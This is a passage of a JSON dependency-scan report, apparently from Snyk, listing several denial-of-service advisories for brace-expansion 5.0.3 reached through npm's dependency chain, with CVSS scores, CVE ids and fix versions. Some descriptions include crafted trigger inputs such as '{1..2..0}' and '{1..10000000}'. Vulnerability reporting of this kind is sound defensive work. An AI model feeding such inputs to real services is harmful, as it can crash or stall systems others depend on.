"v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": 